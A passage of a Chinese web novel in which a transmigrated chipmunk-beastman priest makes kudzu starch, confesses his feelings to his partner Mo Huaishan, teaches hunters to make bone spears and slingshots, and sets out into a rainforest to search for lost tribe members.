他们挖回来的葛根粉葛居多,出粉率相当感人,草地上的葛根山才移平一小半,部落能用的容器已全部用完,营地中密密麻麻,晃眼一看全是瓶瓶罐罐。 清洗、削皮、切块、捣碎、搓洗、过滤,最后是沉淀,沉淀完了还要洗粉,吃上一碗葛根粉要经过近十道工序,非常不容易。 容器不够用,剩下的葛根只能明天再处理,花时安在河边洗了个手,拍拍自己饿扁的肚皮,匆匆走向亮着火光的营地。 干柴“噼里啪啦”地燃烧,陶锅中炖煮软烂的牛杂咕嘟咕嘟地冒着泡,浓郁的肉香随炊烟四处乱窜,花时安闻着味儿就来了,屈膝蹲在火塘边,目不转睛地盯着陶锅。 今晚没有煮野菜,柴灰里埋着红薯,似乎已经烤熟了,主厨岩知乐用木棍刨出一堆黑疙瘩,一股浓郁的甜香瞬间弥漫在空气中。 饿,好饿啊!狩猎队怎么还不回来! 花时安眼睛都直了,喉咙微动,忍不住咽口水。 说曹操曹操到,上一秒还在琢磨,下一秒,一声高呼突然炸响:“狩猎队回来了!” 话音未落,营地里休息的族人齐齐站起身,三五扎堆前去草地迎接。 回来得这么晚,多半有收获,花时安拍拍棕裙站起身,跟着大部队的尾巴走向草地。 有人吆喝一般是远远看见了,可是花时安走到草地时,一群兽人已然穿过水田,距离不过百米。 兽人们两手空空,并未捕捉到猎物,但他们跑得飞快,像是有一头不可战胜的猛兽在身后追,又像是有什么急事,队长红勇边跑边喊:“族长,祭司大人!我们的族人,我们的亲人可能还活着!” “我们找到了族人留下的标记!” 第78章 第 78 章 失散的族人 撕开炭火烤黑的外皮, 质地软糯,色泽金黄鲜亮的薯肉映入眼帘。还热乎着,热气挟着香味萦绕鼻间,花时安嘴唇微张, 咬下一大口, 无神的双眸瞬间亮了起来。 香甜软糯, 焦香四溢,一口甜到了心坎里。 无需牙齿咀嚼,轻轻一抿即化。 心心念念的红薯终于吃到了,花时安却没时间细品,因为他的左手边,红勇端着碗席地而坐, 一口牛杂一句话,正绘声绘色地讲述他们今天森林里的发现。 “刚过中午那会儿在森林发现了一群长角的食草兽,又是一种新的兽,之前没见过。我们还是像往常一样准备捕猎,结果那兽胆小,警惕性特别高,还没行动就发现我们了, 头也不回地跑了。” 木族长好奇得紧, 不合时宜地插了一句:“长什么样?” 一大块香脆牛肚塞进嘴里,红勇嚼吧嚼吧咽下去, 重新开口:“黄色的皮毛, 身上长有白色斑点,部分头上长着角,和牛角羊角不一样,乱七八糟的, 像树枝一样的角,祭司大人认得吗?” 这特征太明显了,花时安点点头,“梅花鹿,天性机警,非常胆小,稍微有点风吹草动就跑了,而且跑得非常快。” “对对对,跑得特别快。” 红勇眼睛睁圆,连连点头附和,说着说着他又叹了一口气,眼中满是错失猎物的遗憾与懊恼,“那么大一群兽,我们自然不舍得放过,所以就追嘛,但追不上啊,根本追不上,跑太快了那玩意儿,变成兽形都追不上!” “兽群跑没影了,当我们决定放弃的时候,这才发现四周环境变得不太一样了。巨杉树几乎没有了,周围很多奇奇怪怪的树,还有好多不认识的植物。” “光顾着追兽群,一不小心跑到一片未探索过的区域。路上也没来得及做记号,我生怕迷路,意识到不对就想往回走,可就在这时——” 说到关键时刻突然顿住,红勇倒是很有说书先生的潜质。 木族长急得抓耳挠腮,抬起胳膊就是一肘,“别卖关子,赶紧的。” 红勇咧嘴笑了笑,继续道:“掉头往回走,我在旁边一棵树的树干上看到了部落的标记,开始我以为哪个心细的兽人刚划的,但仔细一看,那划痕不新鲜,边缘树皮都长好了,绝对不是刚刚才划上去的。” “嘶,你可看清楚了?当真是部落的标记?”饭也不吃了,木族端着怔怔出神,神情愈发凝重。 红勇非常肯定:“一清二楚啊族长,这么重要的事不可能只看一眼,我们再三确认了,一个上窄下宽的小水滴,确实是只有族人才知道的记号。” “真没看错,我们也瞧见了,确实是部落的记号,”埋头啃红薯的岩秋雨抹了抹嘴,又补充了一句:“而且看到标记之后我们又继续往前走了,每隔一段距离就有一个标记。” 红勇接着他的话:“我们沿着标记走了很远,周围植被越来越茂密,始终走不到头。最后天色渐渐暗了,我们不敢耽搁,在原有的标记旁边留下一个新的标记,就原路返回了。” “走出来天都黑了?”木族长越听越来气,没好气地瞪了他一眼,冷哼一声,“胆子不小啊红勇,毫无准备就敢跑这么远,万一天黑出不来怎么办?想没想过狩猎队的安危?” 自知理亏,红勇眼眸低垂,嘴角绷成一条直线。 “哎呀族长,这不是好好地回来了嘛。”岩秋雨笑着打哈哈,“先不纠结这个,现在最重要的是,那标记很有可能是族人留下的,我们的亲人,我们的同伴,他们没有死,或许正像我们一样,好好地生活在森林某个角落!” 刚刚涌现出来的愧色荡然无存,红勇一只手端着碗,另一只手握成拳,目光逐渐坚定,“没错!那天晚上很乱,所有人都在逃命,我们只是不小心走散了而已,他们一定还活着,他们也在巨树森林,那些标记就是最好的证明。” “族长,我想去找他们,最好明天就去。” 正找的时候找不到,好不容易决定放弃了,又看到了一丝希望。木族长何尝不想抓住这一线希望,但他怕啊,怕竹篮打水一场空,怕希望破灭,白高兴一场。 不敢妄下定论,更不敢贸然做出决定,木族长轻叹一口气,求助般望向花时安,“祭司大人,你怎么看?” 被点到名的花时安一愣,遗憾放下刚拿起来的碗筷,托着腮帮子不紧不慢地分析:“找,肯定要去找。部落的记号说简单不简单,说复杂不复杂,秋雨说一路上都有记号,像指路一样,确实有很大概率是走散的族人留下的。” “不过划痕边缘都长好了,说明记号留下有一段时间了,我猜测是之前路过时留下的,他们可能没有住在那片区域,甚至还离得很远很远。” “要找,但不能急于一时,要有计划地找。” 似乎太认同这话,红勇眉头紧拧,呼吸急促而粗重,“那是我们的同伴和亲人,不能放过任何一点可能,不论多远都要去找!多耽搁一天就多一天危险,我们必须尽快出发。” 关心则乱,狩猎队最理智,最稳重的队长都乱了分寸。 花时安又从地上拿起一个烤红薯,慢条斯理地剥开外皮,唇缝中溢出一声嗤笑,“去,现在就去,没人拦着你。狩猎队十多个兽人的性命就交在你手上了,遇到危险就跑,跑不过就拉倒,肚子饿了找不到吃的,嘴巴张大一点,西北风管饱。” 再迟钝的人都能听出这话是在嘲讽,空气有一瞬间的凝固,大口吃肉的岩秋雨整个人僵住,不敢咀嚼,红勇咬着下唇,粗重的呼吸渐渐变弱。 “好了好了。” 木族长站出来当和事佬,他拍了拍花时安的肩膀,扯出一个不怎么好看的笑,哑着嗓子劝慰道:“别生气时安,他也是担心亲人,急躁了点。” 红勇顺着台阶下,似不经意地轻咳了一声,抬眸看向花时安,“祭司大人别不高兴,是我太着急了。你帮忙出出主意成吗,我们该怎么找?什么时候去找?” 生气不至于,确实有点不高兴。 他们在乎自己的亲人与同伴,花时安同样也在乎这群和他相处了半年的同伴。林子越深越危险,不做任何准备就贸然钻进去,怎么死的都不知道。 认错态度良好,算了。 花时安挑眉对上红勇的视线,说话不再夹枪带棒:“刚才你也说了,那片密林和部落周围不一样,万一有大型猛兽呢?万一找不到食物呢?我们要准备好充足的食物,再做一些防身的武器,我建议过两天再出发。” “去找人不是去捕猎,用不着整个狩猎队一块去。人越多消耗越大,要带的食物也就更多,不如两三个人轻装出行,赶路速度还要更快一点。” 一字不落地听完,红勇彻底冷静了,捏着下巴若有所思地点点头,“祭司大人比我考虑得周全,确实,我们要提前做好准备。不过两三个人会不会太少了?真遇到大型猛兽,两三个人毫无还手之力。” 还真想还手?花时安看了他一眼:“还是那句话,去找人不是去捕猎,遇到大型猛兽的第一反应不该是战斗,而是逃,利用我们较小的兽形树尖上爬,往灌木丛里钻,隐匿在森林中。” 老虎、狮子、豹子……这类大型肉食动物,即便是十多个兽人一起上,谁输谁赢还不一定,就算侥幸赢了,也难免会受伤。 兽形弱小注定没有与猛兽抗衡的资本,苟才是王道。 红勇“嗯”了一声表示认同,抬眸环视四周。 显然,他在考虑带谁比较好。 岩秋雨噌地站起身,三步并作两步走到红勇面前,尤为迫切道:“带我带我,我必须去,勇哥你知道的,我阿母也不见了。” “勇哥我也要去!” “算我一个!” “勇哥带上我,我想去找我妹妹。” …… 毫不夸张地说,几乎所有人都在那场灾难中失去了亲人。他们在绝望中看见了一丝名为希望的光芒,迫不及待地伸出手,紧紧握着。 很难选,但红勇很快便做出决定:“岩秋雨一个,他灵活,跑得快;莫淮山一个,他个子高,力气大,最后就是我。其他人留在部落好好干活,等我们的好消息!” “还有我,我也要去。” 又一道声音从身旁响起,红勇不耐烦地“啧”了一声,正要发火,扭头一看才发现,说话的人是花时安。 没等红勇开口,木族长一巴掌拍在大腿上,“不行!你都说了很危险,还跟着去凑什么热闹?老老实实给我待在部落,哪都不许去!” 牛杂都快凉了,花时安重新端起碗,不以为然地朝木族长笑了笑,“植物啊。环境不一样,丛林中生长的植物也不一样,为了拓宽我们的食谱,我必须要跟着走一趟。” 红勇急了,忙不迭劝说:“时安,你没必要跟着我们去冒险,你想要植物我们给你摘,不认识的植物通通摘一遍,到时候带回来给你辨认。” 那也太麻烦了,花时安想都没想,摇摇头道:“你们别劝了,我肯定要走这一趟的,不用担心我给你们添麻烦,拖慢你们的进度,我可以全程保持兽形,待在背篓里。” “时安,这——” “饭凉了,赶紧吃,吃完早点休息。” 第79章 第 79 章 葛根粉 吃饱喝足洗漱完, 花时安回到自家温馨的小树洞,四仰八叉地躺在了竹床上。累,累得要命,他摊开羊皮盖住胸口, 下一秒就要睡着了, 竹门忽然被人敲响。 “咚, 咚咚咚——” “时安,时安你睡了吗?” 扰人清梦的敲门声很烦,但来人低沉的嗓音透过竹门飘进来,花时安一下子就不烦,抱着羊皮麻利地靠坐起来,胡乱抓了两下头发, 轻轻应了一声,“还没睡,进来吧。” “吱呀”,竹门打开了,高大的兽人猫着腰,钻进逼仄狭小,与他身量毫不匹配的树洞。 走进来的时候还很坦然, 可看见花时安倚靠在床头, 他微微一愣,有些不好意思地摸了摸鼻头, “打扰你了时安, 我、我不知道你准备——” “说这些见外的话干嘛,过来坐。”花时安伸手拍了拍床沿,融入夜色的眸子漾着几分笑意,“这么找我有事吗?还是说……想我了?” 本来都走到床边了, 这话一出,莫淮山整个人瞬间僵住。 他站也不是坐也不是,手足无措地看着花时安,久经风吹日晒的脸颊一下子就红了,“我、我不是……我……” “不想就不想嘛,那么紧张做什么。” “不是。”莫淮山慌了,忙地坐在床边,越过羊皮轻轻握住花时安的手,磕磕巴巴道:“想、想的时安,我很想你,天天都、都在想。” 宽厚温热的手掌堆叠着厚茧,好似一张粗糙的磨砂纸,握着不怎么舒服,却让人心里暖洋洋的。花时安反握住兽人的手,嘴角不受控制地扬起,“这还差不多,说吧,找我什么事儿?” 无事不登三宝殿,大晚上过来敲门,肯定不是为了牵手。 果然,他刚说完,莫淮山眼底涌现出的笑意淡了几分,握着他的手微微收紧,神情严肃而凝重,“时安,过两天去森林里找族人,你能不能、能不能不去?” 想过很多种来意,唯独没想过也是来劝他的。 刚被红勇和木族长轮番劝说完,花时脑壳有点疼,抬手揉了揉眉心,轻叹一口气,“为什么?总要有个理由吧?” “危险。”莫淮山毫不犹豫,看着花时安的眼睛,一字一顿:“密林地形复杂,风餐露宿,这一去可能要去很多天,兴许还会遇到猛兽,时安,我不想让你去受罪,也不想让你去冒险。” 搞了半天是关心他啊? 花时安一下子就舒坦了,捏了捏兽人的手,小声咕哝:“我变回兽形待在背篓里,我很小只,不占地,也不重,你背着我走,不会有危险的。” 莫淮山摇摇头,“出去这一趟本身就很危险,我是可以背着你,但我遇到危险了呢?万一我被野兽吃掉,你一样——” “淮山,”花时安手微微一颤,握紧莫淮山的手,“不会发生这种事的。就算真的发生了,我们也应该一起面对,不是说过要对我负责吗,怎么,想抛下我了?” 花时安什么都没有说,莫淮山却听懂了。 非去不可的理由……因为他,原来是因为他。 “我、我去找队长!” 坐在床边的兽人噌地站起身,扭头就要往外走。 花时安忙地抱着他的胳膊,死死拽着不让走,“不是,你要干嘛,这么晚找人家干嘛?” 喉咙莫名发紧,鼻尖微微泛酸,莫淮山垂眸看着花时安,眼眶通红,“我、我不去森林了,让队长换一个人去。” 去森林寻找失散的族人,这是莫淮山很乐意做的事情,即使他没有亲人,即使此行异常凶险,他仍愿意为部落尽自己的一份力。 但现在不一样了。 他有了牵挂,他不愿亚兽与他一同冒险。 兽人的想法很简单,花时安隐约猜到了,更不能让他走。他抓着兽人的胳膊把人拽回来,按着肩膀让他坐在床边,拍拍后背轻声安抚:“别急别急,先听我把话说完。” “红勇选中了你,你没有办法拒绝,也不能拒绝。淮山你知道的,你和别人不一样,如今好不容易在部落站稳脚跟,被族人接纳,可你一旦拒绝此次外出,一切又会回到从前。” “这是一个表现的机会,正因为你无亲无故,还愿意为族人冒险,如果能顺利将失散的族人带回来,将来你在部落的处境会变得好很多。” 说真的,花时安并不在乎别人怎么看待莫淮山,英勇善战的勇士也好,避之不及的不祥之人也好,总归都是他的人。 但这个外表粗率豪放,内心敏感细腻的兽人在乎,还记得那个被撵出树洞的黑毛团子,还记得草地上那个眼中泪花闪烁,孤立无援的兽人。 被孤立,被针对,他仍有一颗赤诚的心,想获得族人认可。这是一个必须解开的心结,他敏感自卑,以至于到现在都还傻傻地认为自己配不上花时安。 树洞安静了许久,久到花时安以为他坐在床边睡着了,一动不动地兽人终于清醒了,肩膀略有些颤抖,“可是时安,我、我真的不想让你去冒险,你待在部落好不好?等我回来。” 同行并非为了给他增加心理负担,花时安拍了拍兽人的肩膀,轻笑了一声:“你呀,别想那么多,我要走这一趟也不全是为了你。之前不是说过吗,既然住在森林里,肯定要慢慢地探索森林,我不想被困在这一方天地,我想出去走一走,转一转,找更多的植物,看看外面的世界。” “你想做的事也很危险,我都没有拦着你,你怎么还拦着我呢?再说不一定会遇到危险,我有兽形跑得快,我还有你,你会保护好我的对不对?” 忽然很想抱抱他,花时安说完便抬起手,但指尖尚未触碰到近在咫尺的肩膀,一动不动的兽人蓦地转过身,抓着他的手用力一拽,紧紧将他抱进怀里。 “我会保护好你的,时安,时安……” 低沉喑哑的嗓音掠过耳畔,兽人双手环在腰间,脸颊轻蹭他的脖颈,重复喃喃他的名字。 温热的吐息洒在肩膀,一阵暖流划过心脏,花时安抬手环抱住莫淮山,悄无声息地在他肩膀印下一个吻,“我不想等了淮山,外出归来我们就在一起好不好?做我的伴侣。” 最后几个字声音很轻,莫淮山却听得一清二楚。 他抱着花时安的手臂用力收紧,恨不得把人揉进身体里,但声音毫无底气:“我、我很没用,到现在什么都给不了你,什么都没有。” 花时安笑了,很轻的一声,“我心悦之人满手厚茧,踏实肯干,我不怕他正当年少一无所有。你没有,我也什么都没有,但我们两个人两双手,以后什么都会有的。” 没有煞风景地追问,莫淮山紧紧抱着花时安,埋在他肩窝里闷闷地“嗯”了一声,“回来我们就在一起,我会一辈子对你好的时安。” * 经过一夜沉淀,陶缸里浑浊的葛根浆液变成了一缸清水。 葛根粉沉底,面上一层全是水,花时安和岩知乐一人扶一边,小心翼翼将陶缸打斜着,慢慢倒出缸中略微泛黄的水。 这个步骤昨晚饭后已经做过了一次,但棕片始终没有纱布好用,过滤得不干净,浆液中残留着不少杂质,粉不够白,所以重新加入清水进行洗粉。 洗一次就干净多了,黄水倒出,一团洁白无瑕的白色浆液沉积在缸底,远远看去好似一缸雪花,而凑近一看,又似那细腻丝滑的白色绸缎。 非常完美的葛根粉,花时安相当满意。 要是再洗两遍就更完美了,可惜后天一早就要出发,没时间了,得赶紧晒干,带着路上吃。 备好簸箕,找来竹铲,花时安弯腰趴在陶缸边上。正准备下铲子,他忽然想到了什么,松开陶缸站直了,将竹铲递给岩知乐,“你来,拿着竹铲用力往下戳。” 岩知乐没多想,乖乖接过竹铲,使了股劲往缸里戳。 竹铲戳进缸里就像戳中什么硬物一样,看似柔软浆液纹丝不动。有那么一瞬间,岩知乐以为自己产生了幻觉,拿着竹铲又猛戳几下,结果还是戳不动,完全戳不动。 什么情况,这玩意儿这么硬的吗?岩知乐懵了,直到身旁传来几声窃笑,这才反应过来,他被祭司大人耍了。 没有被洗刷的恼怒,岩知乐亮晶晶的眼睛倏地看向花时安,一脸兴奋,“这是什么情况呀祭司大人?葛根粉在水里泡了一夜,不该是软的吗,怎么硬邦邦的?” 还能是什么情况,淀粉浓度达到临界值,变成非牛顿流体了呗。一两句话说不清楚,花时安直接忽略了他的问题,扬了扬下巴道:“你再试一次,轻轻的,不要用太大劲。” 岩知乐一听来了兴趣,拿着竹铲再次探入陶缸中。 轻轻一戳,几乎没怎么用力,硬如石头的葛根粉就这么划开了。岩知乐不可置信地瞪大眼睛,用竹铲铲起一块,不论捏还是揉,葛根粉都软乎乎的,与方才的状态截然不同。 使劲就变硬,不用劲的就变软,多次尝试岩知乐终于发现了诀窍。他拿着一小团葛根粉捏着玩,活也不干了,追着花时安问:“这到底是怎么回事啊祭司大人?好神奇,好有趣!” “葛根粉就是这样的,没有怎么回事。”花时安随口糊弄了一句,捂着嘴巴打了个懒洋洋的哈欠,交代正事:“玩够了就赶紧干活,葛根粉交给你们了。挖出来掰成小块,放在簸箕里晒,晒到半干把粉块揉碎,揉成粉末继续晾晒。” 岩知乐不玩了,歪着脑袋看向花时安,“你不跟我们一起?你去哪啊祭司大人?” 话音刚落,营地后方传来一阵窸窸窣窣的响动,一群兽人从灌木丛里钻了出来,每个人的手里都拖着一根不大不小,一只手刚好能握住的剥皮树。 岩知乐回头看了一眼,问题立马又变了:“一大早又是磨骨头,又是洗牛筋,又是砍树的,祭司大人,你到底在教他们做什么呀?” 花时安:“武器,防身捕猎的武器。” 第80章 第 80 章 准备 两天时间有点紧, 没空另找材料,花时安只能让兽人就着现有材料制作一些简单的武器,比如吃完肉剩下的牛骨头。 粗壮而坚硬的牛腿骨用来制作武器最适合不过,就是处理起来比较麻烦。牛骨洗净, 先用石头敲去两端股骨, 保留中间直挺的胫骨, 再从顶端把胫骨劈开,将其一分为二。 去除表面油脂与筋膜,刮去内部残留的骨髓,牛骨加草木灰水放入陶锅中,大火煮上半个小时,进行脱脂处理。 待牛骨冷却, 找一块表面粗糙的石头,开始打磨。 劈开来的胫骨平扁、奇形怪状,需将两侧打磨规整对称,边缘打磨锋利,再将顶端磨尖,简单来说,要靠一块石头将片状牛胫骨打磨成匕首。 同时底部也要打磨, 往小了磨, 方便最后固定。 牛骨打磨好,找一根长而笔直, 不大不小的剥皮树。树干必须使用者亲自挑的, 粗细无所谓,最重要的是拿着合适,用着顺手。 剥去树皮,用石刀在树干顶端劈一条缝。劈的时候一定要小心, 缝隙不能太深,理想状态是牛骨长度的三分之一,以免剥皮树干燥后开裂变形。 牛骨竖着嵌入缝隙中,用力捏紧,最后用棕绳反复缠绕,将打磨好的牛骨牢牢固定在树干顶端。缠棕绳的位置可以先用石刀划几圈划痕,以防使用过程中棕绳位移滑脱。 最后的最后,根据个人习惯在树干中间或底部缠几圈棕绳,增强握持,一把锋利无比,坚不可摧的骨矛便做好了。 部落以前也会制作类似的长矛,但那时候的威胁主要来源于天上飞的苍鹰,长矛起不了多大作用,因此族人制作武器的技术……树枝上随便绑一块尖石头,不提也罢。 骨矛精致而锋利,兽人们爱不释手,一做好便拿到草地上挥舞,假装与同伴搏斗。 十多个人嘻嘻哈哈,乱糟糟的一团,如群魔乱舞。 没错,骨矛不止四把,花时安和狩猎队的兽人人手一把。教一个是教,教一群也是教,每个兽人配一把骨矛,兴许以后狩猎用得上。 近战武器有了,远程武器也得有。 根据现有材料,花时安决定教他们制作——弹弓。 框架选用坚硬而不易开裂的拓木,取一根自然生长成Y字形,大小粗细适合手握的枝杈。 弹性材料选用暂未烹饪的牛筋腱,同样要进行脱脂处理,再经过捶打、拉伸、晾晒,本就自带弹性的筋腱变得和扁皮筋一样,轻易拉伸,快速恢复。 弹兜选用鞣制好的牛皮,切成椭圆形,最后两侧钻孔,固定在筋腱中间。 说起来容易做起来难,筋腱处理起来非常麻烦。 兽人们折腾得满头大汗,急得抓耳挠腮,一个个都说比外出狩猎还累,当天下午就开始做,愣是折腾到第二天中午才制作好。 筋腱弹性始终不及真正的弹弓皮筋,弹弓做好了,但射程和杀伤力都不是很理想,说是防身狩猎的武器,其实更像小孩子的玩具。 石头充当弹丸,筋腱拉到极致,二十米开外能打倒一个装满水的竹筒,且在竹筒留下痕迹;三十米开外同样能打倒竹筒,前提是竹筒只装半灌水;五十米……空竹筒被命中只会响一声,然后纹丝不动。 早料到的结果,花时安并没有很失望,因为弹弓这类小型武器(除了特制弹弓)杀伤力本就不强,对大型猛兽构不成威胁,主要用来远距离驱赶野兽,起到一个威慑恐吓作用。 制作武器耗费了太多时间,明天一早就要出发,留给他们的时间不多了。 艳阳高照的正午,在河边练习了一会儿弹弓,花时安带着三个兽人回到营地,开始准备他们路上所需要的工具和食物。 丛林探险必备,火折子做上十个。 一个用完再点另一个,即使一个火折子只能用三天,十个火折子也够他们用三十天。 陶锅易碎,石锅太沉,炊具不考虑带,烹饪以烤为主,烧水可以选择多带一些轻便的竹筒,用完就扔。 出门在外难免遇到突发状况,除了这两天制作的骨矛、弹弓,还需带上棕绳、棕片、骨刀、石刀、石斧等用具,以备不时之需。 天气回暖,密林中蚊虫鼠蚁比较多,花时安坐在营地捣鼓,用艾草、鼠尾草、迷迭香等植物叶片制作几个简易驱虫包。 工具备好,接下来轮到最重要的食物。 没有松子板栗这类管饱易携带的食物委实遗憾,好在先前挖葛根在森林里找到了顶饱的红薯。红薯可烹饪,可生吃,好吃又顶饱,唯一的问题在于水分多,太重,只能少量携带。 晒到半干的葛根粉无疑是最适合外出的食物,轻便轻巧,好吃管饱,但它也有个问题,那便是不能即食,必须搭配开水食用。 这也麻烦那也麻烦,到头来最方便的食物居然是——肉。 腌制好的牛肉厚切成片,先煎再烤,尽可能地烤去多余水分,烤干巴,再用树叶单独包裹起来,放个六七天都不会坏。 吃之前放在火上烤一烤,干香有嚼劲。 晒蔫儿巴的蘑菇野菜、补充能量的蜂蜜、龙虾干、干鱼、食盐……乱七八糟的各带上一点,而最重要的,也是最麻烦的,他们还要带点水。 密林中一定存在水源,但部落周围这般大的河流并不常见,藏匿于丛林深处的小溪不好找,如若边走边找水,耽误时间不说,还不一定找得到,保险起见必须带水上路。 部落不缺水,缺的是装水的容器。 日暮西沉的傍晚,花时安和三个兽人又在营地折腾起竹子,砍竹筒,给竹筒凿凹槽,刻螺丝纹,制作盖子…… 天色渐渐暗下来,采集队陆续归来,竹筒拧上竹盖化作杯子,最后装上凉白开放进背篓里,外出所需物资全部备齐了。 食物、水、工具一应俱全,就是这个量…… 看起来有点少。 “红勇,祭司大人,怎么样,你们收拾好了没?” 最后检查了一遍,确认该带的都装上了,花时安刚准备坐下来休息,屁股还没挨着地,木族长的声音从不远处传来。 显然是不放心他们,一回来木族长便马不停蹄地跑了过来,气喘吁吁地站在三人身旁。而环视一圈,看到空地中间仅有的两个背篓,他微微一愣,上气不接下气道: “什么意思,你们忙活了两天就、就这两个背篓?玩呢?你们四个人,还有三个胃口大的兽人,这点东西够谁吃,够吃几天?” “不少了,放心吧族长,”花时安笑了笑,伸手拍了下离自己最近的背篓,“里面大部分是牛肉、葛根粉,很顶饱,省着点吃个十多天不成问题。” 木族长眉头一皱,“十多天还得省着点吃?不成,太少了,这一趟还不知道要去多久,红薯蘑菇野菜什么的,能多带就多带点。” “重啊族长,”红勇倚着树干打了个哈欠,甩了甩有些酸胀的胳膊,“带的东西越多,赶路的速度就越慢,我们想早去早回,就只能像祭司大人说的那样,轻装出行。” 瞧他那不以为然的样子就来气,木族长瞪了红勇一眼,“轻是轻巧了,可食物要是不够呢?真像时安说的那样,嘴巴张大点喝风?” 一个两个学得还挺快,花时安轻轻笑了声,“没那么严重,森林里又不是寸草不生,我们顺路也会找点野菜野果,实在找不到才会吃背篓里的食物。” “都说了林子不一样,万一找——” 说着说着忽然顿住,木族长反应过来了,手指在半空中点了四下,“不对啊,你们不是四个人吗?就算时安变成兽形,你们还有三个人,一人一个背篓不正好,怎么还少一个?” “等着,我再拿一个背篓过来,给你们装点红薯。” “不用不用,族长你歇着吧。” 岩秋雨拦下准备去找背篓的木族长,抓着他的胳膊解释:“这一趟可能要去很久,天天赶路也是很累的。我们商量好了,决定两个人背着背篓赶路,另一个变回兽形和祭司大人一块坐背篓。” “三个人换着来,赶两天路休息一天,这样既不耽搁时间,又能好好休息,多好,劳逸结合赶路的速度才会更快。” 木族长狐疑地看了他一眼,“商量?时安的主意吧?” “这都能猜到?族长你太厉害了!”岩秋雨嘿嘿一笑。 木族长:“废话,就你那脑子能想出办法?” 三个人换着来确实要轻松许多,但食物注定不能带太多。 瞅着两个背篓也塞不下了,木族长不再劝阻,扒着背篓检查了一遍,神情严肃,颇为郑重其事地看向四人,“这一趟很危险,你们路上一定要小心,别光着埋头赶路,多观察周围,有点风吹草动赶紧跑,变回兽形往隐蔽的地方躲。” “该吃饭的时候吃饭,该休息的时候休息,夜里找个高一点的树杈睡觉,别给我摸黑赶路。找人这种事急不得,慢慢来,你们的安全最重要,还有,保护好祭司大人。” 语气太过沉重,气氛变得沉闷而压抑。 嬉皮笑脸的岩秋雨沉默了,花时安和莫淮山耷拉着脑袋没说话,唯有红勇轻叹一口气,目光坚定,语气充满自信:“放心吧族长,我们会注意安全的。” “我们会早去早回,把走散的族人一个不落地带回来。” 80-90 第81章 第 81 章 出发 天还没亮花时安就早早起来了, 穿好衣服前去洗漱,再回树洞填饱肚子。等他转悠到营地时,部落所有人都起来了,包括哈欠连天的老人和困得睁不开眼睛的小孩。 昨晚已经道过别了, 架不住族人非要早起相送, 一上来便将花时安和三个兽人围住, 一人一句话,不舍中夹杂着担忧。 早起是为了赶路,不能耽搁时间,在一声声“早点回来”中,花时安挤出人群走到背篓跟前,与岩秋雨双双变回兽形, 麻利地钻进背篓。 天边泛起鱼肚白,背篓腾空而起,花时安窝在柔软的棕片卷里,看树影倒退,看部落渐渐远去,看草地上张望的人群缩成一个个黑点,最后彻底消失不见。 兽人步子迈得大, 背篓上下起伏, 左右摇晃,像极了超市门口投硬币的摇摇车。好舒服, 摇着摇着花时安困意就涌上来了, 不过他闭上眼睛真想睡的时候,又睡不着了。 身体很困,脑子很清醒,不受控制地胡思乱想。 找回失散的族人, 不论从哪方面看这都是一个好消息。族人失而复得,重新与亲人、同伴团聚,部落亦能增添些人手,提高生产力。 但花时安心里很不安,有点犯愁,他到底是个外来者,如果找到花栗鼠部落的族人,他还能捂好马甲吗? 原身在部落的处境比莫淮山稍微好点,属于没什么存在感,不出彩也不出错,老老实实的亚兽一枚。父母皆在幼年时生病离世,原身无亲无故,但花栗鼠部落本就不大,朝夕相处的族人对原身还是非常熟悉。 半年不见,部落里平平无奇的亚兽混成了祭司大人。 这合理吗? 如果真的找到了,从小看着“他”长大的族人肯定能发现破绽,怎么办呢?好像只能瞎编,逃难途中磕到脑袋性情大变,再配合之前那套外乡人的说辞,试着糊弄糊弄。 花时安一爪子拍在头上,重重叹了一口气。 当然,花时安其实很想找到花栗鼠部落的族人。他获取了原身的记忆,并未获取情感,对族人只有一点模糊的印象,但花栗鼠……真的好可爱,说是最可爱的松鼠也毫不为过。 摇摇晃晃,一路颠簸,花时安蜷缩在棕片卷里,舒服得不行,最后还是沉沉睡了过去。而再睁开眼睛时,周遭光线突然暗了下来,吓得他一激灵,差点以为一觉睡到了晚上。 丛林昏暗幽深,盘根错节的榕树、高大挺拔的王棕肆意生长。树冠高举,凌驾万木之上,形成了一片天然的绿色穹顶,阳光被繁茂的枝叶遮挡,只有零星顽强的微光洒落下来。 空气中弥漫着一股潮湿的水汽,很闷,像是用湿毛巾捂住了口鼻,有种令人不适的闷热。路上灌木、藤蔓生长茂盛,纵横交错,织成一张大网,两个兽人边走边用骨矛开道,气息急促而粗重。 已经进入密林了,花时安彻底清醒,麻利地坐起来,抓着背沿东张西望。 这座森林有些过于神奇了,部落周围四季分明,冬冷夏热,像地球上的温带地区;采蜂蜜的山地偏冷,像高原地区,而如今这片密林,花时安怎么看怎么像热带雨林。 王棕、望天树、铁力木、九节木……雨林标志性植物随处可见,花时安越看越兴奋,不知不觉爬出了背篓,趴在兽人肩膀上仔细瞅。 拓展新地图,随时有惊喜,走出一段路,花时安瞅见了可以食用的青橄榄,没过一会儿,他又瞅见了果实可以用来榨油的油棕。 野菜野果也不少,缀在树干上的大果榕、圆润饱满的桃金娘、长在林下的山篓叶、藏在灌木丛里的树仔菜、曲毛菜…… 直至夜幕降临,花时安在密林中看到不下十五种可食用植物。野菜倒是能顺便摘一点,可惜大部分果子还未成熟,只能让兽人做好记号,回头再来。 兽人脚程很快,中途就停下来喝了三次水,一整个白天已经完全完全地深入密林,以花时安的脚程,走个整整两天估计才能走到这里。 天黑了,厚重茂密的林冠层遮挡,森林中阴森而深邃,伸手不见五指。不能再走了,红勇和莫淮山停在了一棵王棕树脚下,气喘吁吁地卸下背篓。 又累又热,兽人脑门上全是汗,趁他们坐下歇气,背篓里躺了一天,精神抖擞的花时安和岩秋雨钻了出来,变回人形,一个负责清理周围杂草,一个负责捡柴生火。 密林异常潮湿,费劲折腾了一会儿,火光终于亮了起来,装着清水的竹筒架在火上烧,花时安又从背篓里拿了二十多根红薯,埋了一部分在枯枝落叶底下。 红薯本就没带多少,见他一次性烤这么多,岩秋雨眉头微皱,忙不迭从背篓里翻出两捆野菜,“太多了祭司大人,这还有刚刚摘的野菜,用不着烤红薯,光吃野菜都够了。” 沉甸甸的背篓缀在身后,马不停蹄地走,消耗比平日里狩猎还要大。野菜顶饱但不顶饿,高强度走了一天就吃点野菜,怕是半夜都会饿醒。 红勇和莫淮山背靠大树,呼吸渐渐平复,两人抱着竹筒小口喝水,一声不吭,目光却牢牢锁定火堆,饿得都快吃人了。 花时安下巴微抬,不着痕迹地给岩秋雨递了个眼神。 谁料岩秋雨压根没看懂他的意思,还追着问:“怎么了,野菜不够吗?要不冲点葛根粉?我都不怎么饿。” 